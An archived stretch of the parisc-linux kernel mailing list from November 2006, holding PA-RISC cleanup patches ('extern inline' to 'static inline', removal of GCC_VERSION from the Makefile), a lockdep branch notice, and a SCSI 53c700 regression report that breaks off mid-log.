List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oxdXcbw8TiEtQKyUaGRwSmx1ZUVSRBeN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25378


In keeping with the new usage policy, I've created a lockdep branch in the
parisc git repo for people to hack on until we can get CONFIG_LOCKDEP
working.  We need some code written to handle STACKTRACE_SUPPORT.
It shouldn't be too hard a project, but I've run out of time to look
at it.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 patch] parisc: "extern inline" -> "static
	inline"
Date: Tue, 21 Nov 2006 21:34:56 +0100
Lines: 216
Approved: news@gmane.org
Message-ID: <20061121203456.GM5200__44651.7689772465$1416624621$gmane$org@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624621 28191 80.91.229.3 (22 Nov 2014 02:50:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:21 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 kyle@parisc-linux.org,
 parisc-linux@parisc-linux.org,
 matthew@wil.cx
To: Andrew Morton <akpm@osdl.org>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Nov 2006 20:35:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 21 Nov 2006 21:35:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 863707D910;
	Tue, 21 Nov 2006 13:35:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30201-03; Tue, 21 Nov 2006 13:35:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86A4E7D911;
	Tue, 21 Nov 2006 13:35:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 503EE7D90E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 13:35:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29695-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 13:35:19 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E23E87D909
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 13:35:19 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C4289494013; Tue, 21 Nov 2006 13:35:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by mail.parisc-linux.org (Postfix) with SMTP id E3E6949400F
	for <parisc-linux@parisc-linux.org>;
	Tue, 21 Nov 2006 13:34:57 -0700 (MST)
Original-Received: (qmail 2120 invoked from network); 21 Nov 2006 20:34:55 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailhub.stusta.mhn.de with SMTP; 21 Nov 2006 20:34:55 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id C766337A3CF; Tue, 21 Nov 2006 21:34:56 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L1tWcWlzRkkeaauPfGRq6xpmdWkvKNN2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25379

"extern inline" generates a warning with -Wmissing-prototypes and I'm 
currently working on getting the kernel cleaned up for adding this to 
the CFLAGS since it will help us to avoid a nasty class of runtime 
errors.

If there are places that really need a forced inline, __always_inline 
would be the correct solution.

Signed-off-by: Adrian Bunk <bunk@stusta.de>
Acked-by: Kyle McMartin <kyle@parisc-linux.org>

---

This patch was already sent on:
- 19 Aug 2006

 arch/parisc/lib/memcpy.c       |    4 +--
 include/asm-parisc/io.h        |    2 -
 include/asm-parisc/pci.h       |    2 -
 include/asm-parisc/pgtable.h   |   40 ++++++++++++++++-----------------
 include/asm-parisc/prefetch.h  |    4 +--
 include/asm-parisc/semaphore.h |   10 ++++----
 include/asm-parisc/tlbflush.h  |    3 --
 7 files changed, 32 insertions(+), 33 deletions(-)

--- linux-2.6.14-rc5-mm1-full/arch/parisc/lib/memcpy.c.old	2005-10-30 01:58:43.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/arch/parisc/lib/memcpy.c	2005-10-30 01:59:11.000000000 +0200
@@ -158,12 +158,12 @@
 #define stw(_s,_t,_o,_a,_e) 	def_store_insn(stw,"r",_s,_t,_o,_a,_e)
 
 #ifdef  CONFIG_PREFETCH
-extern inline void prefetch_src(const void *addr)
+static inline void prefetch_src(const void *addr)
 {
 	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
 }
 
-extern inline void prefetch_dst(const void *addr)
+static inline void prefetch_dst(const void *addr)
 {
 	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
 }
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/pci.h.old	2005-10-30 01:59:57.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/pci.h	2005-10-30 02:00:01.000000000 +0200
@@ -193,7 +193,7 @@
 extern void pcibios_register_hba(struct pci_hba_data *);
 extern void pcibios_set_master(struct pci_dev *);
 #else
-extern inline void pcibios_register_hba(struct pci_hba_data *x)
+static inline void pcibios_register_hba(struct pci_hba_data *x)
 {
 }
 #endif
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/pgtable.h.old	2005-10-30 02:00:14.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/pgtable.h	2005-10-30 02:00:18.000000000 +0200
@@ -316,31 +316,31 @@
  * setup: the pgd is never bad, and a pmd always exists (as it's folded
  * into the pgd entry)
  */
-extern inline int pgd_none(pgd_t pgd)		{ return 0; }
-extern inline int pgd_bad(pgd_t pgd)		{ return 0; }
-extern inline int pgd_present(pgd_t pgd)	{ return 1; }
-extern inline void pgd_clear(pgd_t * pgdp)	{ }
+static inline int pgd_none(pgd_t pgd)		{ return 0; }
+static inline int pgd_bad(pgd_t pgd)		{ return 0; }
+static inline int pgd_present(pgd_t pgd)	{ return 1; }
+static inline void pgd_clear(pgd_t * pgdp)	{ }
 #endif
 
 /*
  * The following only work if pte_present() is true.
  * Undefined behaviour if not..
  */
-extern inline int pte_read(pte_t pte)		{ return pte_val(pte) & _PAGE_READ; }
-extern inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
-extern inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
-extern inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_WRITE; }
-extern inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
-extern inline int pte_user(pte_t pte) 		{ return pte_val(pte) & _PAGE_USER; }
-
-extern inline pte_t pte_rdprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_READ; return pte; }
-extern inline pte_t pte_mkclean(pte_t pte)	{ pte_val(pte) &= ~_PAGE_DIRTY; return pte; }
-extern inline pte_t pte_mkold(pte_t pte)	{ pte_val(pte) &= ~_PAGE_ACCESSED; return pte; }
-extern inline pte_t pte_wrprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_WRITE; return pte; }
-extern inline pte_t pte_mkread(pte_t pte)	{ pte_val(pte) |= _PAGE_READ; return pte; }
-extern inline pte_t pte_mkdirty(pte_t pte)	{ pte_val(pte) |= _PAGE_DIRTY; return pte; }
-extern inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
-extern inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
+static inline int pte_read(pte_t pte)		{ return pte_val(pte) & _PAGE_READ; }
+static inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
+static inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
+static inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_WRITE; }
+static inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
+static inline int pte_user(pte_t pte) 		{ return pte_val(pte) & _PAGE_USER; }
+
+static inline pte_t pte_rdprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_READ; return pte; }
+static inline pte_t pte_mkclean(pte_t pte)	{ pte_val(pte) &= ~_PAGE_DIRTY; return pte; }
+static inline pte_t pte_mkold(pte_t pte)	{ pte_val(pte) &= ~_PAGE_ACCESSED; return pte; }
+static inline pte_t pte_wrprotect(pte_t pte)	{ pte_val(pte) &= ~_PAGE_WRITE; return pte; }
+static inline pte_t pte_mkread(pte_t pte)	{ pte_val(pte) |= _PAGE_READ; return pte; }
+static inline pte_t pte_mkdirty(pte_t pte)	{ pte_val(pte) |= _PAGE_DIRTY; return pte; }
+static inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
+static inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
 
 /*
  * Conversion functions: convert a page and protection to a page entry,
@@ -368,7 +368,7 @@
 #define mk_pte_phys(physpage, pgprot) \
 ({ pte_t __pte; pte_val(__pte) = physpage + pgprot_val(pgprot); __pte; })
 
-extern inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
+static inline pte_t pte_modify(pte_t pte, pgprot_t newprot)
 { pte_val(pte) = (pte_val(pte) & _PAGE_CHG_MASK) | pgprot_val(newprot); return pte; }
 
 /* Permanent address of a page.  On parisc we don't have highmem. */
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/semaphore.h.old	2005-10-30 02:00:45.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/semaphore.h	2005-10-30 02:00:51.000000000 +0200
@@ -58,7 +58,7 @@
 #define DECLARE_MUTEX(name) __DECLARE_SEMAPHORE_GENERIC(name,1)
 #define DECLARE_MUTEX_LOCKED(name) __DECLARE_SEMAPHORE_GENERIC(name,0)
 
-extern inline void sema_init (struct semaphore *sem, int val)
+static inline void sema_init (struct semaphore *sem, int val)
 {
 	*sem = (struct semaphore)__SEMAPHORE_INITIALIZER((*sem),val);
 }
@@ -86,7 +86,7 @@
  * interrupts while we're messing with the semaphore.  Sorry.
  */
 
-extern __inline__ void down(struct semaphore * sem)
+static inline void down(struct semaphore * sem)
 {
 	might_sleep();
 	spin_lock_irq(&sem->sentry);
@@ -98,7 +98,7 @@
 	spin_unlock_irq(&sem->sentry);
 }
 
-extern __inline__ int down_interruptible(struct semaphore * sem)
+static inline int down_interruptible(struct semaphore * sem)
 {
 	int ret = 0;
 	might_sleep();
@@ -116,7 +116,7 @@
  * down_trylock returns 0 on success, 1 if we failed to get the lock.
  * May not sleep, but must preserve irq state
  */
-extern __inline__ int down_trylock(struct semaphore * sem)
+static inline int down_trylock(struct semaphore * sem)
 {
 	int flags, count;
 
@@ -132,7 +132,7 @@
  * Note! This is subtle. We jump to wake people up only if
  * the semaphore was negative (== somebody was waiting on it).
  */
-extern __inline__ void up(struct semaphore * sem)
+static inline void up(struct semaphore * sem)
 {
 	int flags;
 	spin_lock_irqsave(&sem->sentry, flags);
--- linux-2.6.14-rc5-mm1-full/include/asm-parisc/tlbflush.h.old	2005-10-30 02:01:00.000000000 +0200
+++ linux-2.6.14-rc5-mm1-full/include/asm-parisc/tlbflush.h	2005-10-30 02:01:06.000000000 +0200
@@ -42,7 +42,7 @@
 #endif
 }
 
-extern __inline__ void flush_tlb_pgtables(struct mm_struct *mm, unsigned long start, unsigned long end)
+static inline void flush_tlb_pgtables(struct mm_struct *mm, unsigned long start, unsigned long end)
 {
 }
  

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/
--- linux-2.6.18-rc4-mm1/include/asm-parisc/io.h.old	2006-08-13 23:08:01.000000000 +0200
+++ linux-2.6.18-rc4-mm1/include/asm-parisc/io.h	2006-08-13 23:08:15.000000000 +0200
@@ -128,7 +128,7 @@
 /* Most machines react poorly to I/O-space being cacheable... Instead let's
  * define ioremap() in terms of ioremap_nocache().
  */
-extern inline void __iomem * ioremap(unsigned long offset, unsigned long size)
+static inline void __iomem * ioremap(unsigned long offset, unsigned long size)
 {
 	return __ioremap(offset, size, _PAGE_NO_CACHE);
 }
--- linux-2.6.18-rc4-mm1/include/asm-parisc/prefetch.h.old	2006-08-13 23:08:25.000000000 +0200
+++ linux-2.6.18-rc4-mm1/include/asm-parisc/prefetch.h	2006-08-13 23:08:34.000000000 +0200
@@ -19,7 +19,7 @@
 #ifdef CONFIG_PREFETCH
 
 #define ARCH_HAS_PREFETCH
-extern inline void prefetch(const void *addr)
+static inline void prefetch(const void *addr)
 {
 	__asm__("ldw 0(%0), %%r0" : : "r" (addr));
 }
@@ -27,7 +27,7 @@
 /* LDD is a PA2.0 addition. */
 #ifdef CONFIG_PA20
 #define ARCH_HAS_PREFETCHW
-extern inline void prefetchw(const void *addr)
+static inline void prefetchw(const void *addr)
 {
 	__asm__("ldd 0(%0), %%r0" : : "r" (addr));
 }
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 patch] arch/parisc/Makefile: remove GCC_VERSION
Date: Tue, 21 Nov 2006 21:37:34 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20061121203734.GN5200__47063.339703209$1416624622$gmane$org@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624622 28195 80.91.229.3 (22 Nov 2014 02:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 linux-kernel@vger.kernel.org,
 Sam Ravnborg <sam@ravnborg.org>,
 parisc-linux@parisc-linux.org
To: Andrew Morton <akpm@osdl.org>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Nov 2006 20:37:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 21 Nov 2006 21:37:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 707847D922;
	Tue, 21 Nov 2006 13:37:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30201-10; Tue, 21 Nov 2006 13:37:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8638D7D920;
	Tue, 21 Nov 2006 13:37:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D35E17D91F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 13:37:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30201-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 13:37:36 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7F3D67D91D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 13:37:36 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 5ACBB49400F; Tue, 21 Nov 2006 13:37:36 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout.stusta.mhn.de (mailout.stusta.mhn.de [141.84.69.5])
	by mail.parisc-linux.org (Postfix) with SMTP id 9E2E849400E
	for <parisc-linux@parisc-linux.org>;
	Tue, 21 Nov 2006 13:37:34 -0700 (MST)
Original-Received: (qmail 2185 invoked from network); 21 Nov 2006 20:37:33 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailout.stusta.mhn.de with SMTP; 21 Nov 2006 20:37:33 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id C589837A3CF; Tue, 21 Nov 2006 21:37:34 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +QoGBEpNfW4oTuWveGVozBNmdmllcsXK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25380

This patch removes the usage of GCC_VERSION from arch/parisc/Makefile.

There are no functional changes, it simply makes it a bit shorter (and 
removes the last instance of GCC_VERSION in the kernel).

Signed-off-by: Adrian Bunk <bunk@stusta.de>
Acked-by: Kyle McMartin <kyle@mcmartin.ca>

---

This patch was already sent on:
- 19 Aug 2006
- 12 Jan 2006

--- linux-2.6.15-mm3-hppa/arch/parisc/Makefile.old	2006-01-12 03:11:45.000000000 +0100
+++ linux-2.6.15-mm3-hppa/arch/parisc/Makefile	2006-01-12 03:12:35.000000000 +0100
@@ -35,12 +35,8 @@
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
 
-GCC_VERSION     := $(call cc-version)
-ifneq ($(shell if [ -z $(GCC_VERSION) ] ; then echo "bad"; fi ;),)
-$(error Sorry, couldn't find ($(cc-version)).)
-endif
-ifneq ($(shell if [ $(GCC_VERSION) -lt 0303 ] ; then echo "bad"; fi ;),)
-$(error Sorry, your compiler is too old ($(GCC_VERSION)).  GCC v3.3 or above is required.)
+ifneq ($(shell if [ $(call cc-version) -lt 0303 ] ; then echo "bad"; fi ;),)
+$(error Sorry, your compiler is too old.  GCC v3.3 or above is required.)
 endif
 
 cflags-y	:= -pipe

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Mon, 27 Nov 2006 11:58:32 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <20061127115832.b413fd7b.gmsoft@tuxicoman.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624622 28201 80.91.229.3 (22 Nov 2014 02:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Nov 2006 10:58:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 27 Nov 2006 11:58:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DFCA7D923;
	Mon, 27 Nov 2006 03:58:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16172-02; Mon, 27 Nov 2006 03:58:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A93957D8FB;
	Mon, 27 Nov 2006 03:58:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2DEE7D8A7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 03:58:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15619-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 03:58:40 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5EA9C7D8A4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 03:58:40 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 20007494009; Mon, 27 Nov 2006 03:58:40 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 7D05B494006
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Nov 2006 03:58:18 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id E28EEEB353; Mon, 27 Nov 2006 11:58:16 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id F3CC92FD0E; Mon, 27 Nov 2006 11:58:08 +0100 (CET)
Original-Received: from [172.22.0.4] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1Gog1w-0004Rr-Vk; Mon, 27 Nov 2006 13:56:17 +0100
In-Reply-To: <20061112191436.GY16952@parisc-linux.org>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v7ELIdsVa0AoXL6aejEzNFQ3Njh6dA55
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25381


Hi Matthew,

Some more detail on this issue.
This burner still works at commit 6391a11375de5e2bb1eb8481e54619761dc65d9f but breaks at commit 0f13fc09db68de92585558984bff1c51b87db72f.

There are one or two commits in between those two but the scsi driver doesn't work at all.

For reference, this is the log for those changes :

commit 0f13fc09db68de92585558984bff1c51b87db72f
Author: James Bottomley <James.Bottomley@steeleye.com>
Date:   Thu Jun 29 13:02:11 2006 -0400

    [SCSI] 53c700: fix breakage caused by the autosense update
    
    A bit of a brown paper bag issue.  The previous patch to remove the soon
    to be ripped out fields that were used in autosense actually broke the
    driver.  This patch fixes it and has been tested (honestly).
    
    Signed-off-by: James Bottomley <James.Bottomley@SteelEye.com>

commit 4311fa60b0d1cb5a2f62f646978294bca7b46cbb
Author: Dave Jones <davej@redhat.com>
Date:   Thu Jun 22 15:46:15 2006 -0400

    [SCSI] kmalloc argument switcheroo in recent 53c700 change.
    
    On Wed, Jun 21, 2006 at 07:00:34PM +0000, Linux Kernel wrote:
     > commit 67d59dfdeb21df2c16dcd478b66177e91178ecd0
